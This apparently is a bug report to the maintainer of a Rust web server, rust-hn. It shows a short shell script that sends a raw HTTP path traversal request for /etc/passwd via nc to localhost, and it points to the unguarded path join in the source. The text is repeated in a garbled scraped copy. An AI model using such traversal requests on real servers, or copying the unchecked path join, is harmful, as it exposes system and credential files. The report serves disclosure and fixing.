s.sh:
echo -en "GET /assets/../../../../../../../etc/passwd HTTP/1.1\x0d\x0a"
echo -en "Host: localhost:8888\x0d\x0a"
echo -en "Accept: */*\x0d\x0a"
echo -en "\x0d\x0a"
echo -en "\x0d\x0a"
Then:
bash s.sh | nc localhost 8888
This makes rust-hn send the password file because the path concatenation doesn't guard against this:
|
let content: Vec<u8> = match std::fs::read(Path::new("assets").join(path)) { |
Thank you for your work.
s.sh:
Then:
bash s.sh | nc localhost 8888This makes
rust-hnsend the password file because the path concatenation doesn't guard against this:rust-hn/src/server/rest.rs
Line 419 in 59821f2
Thank you for your work.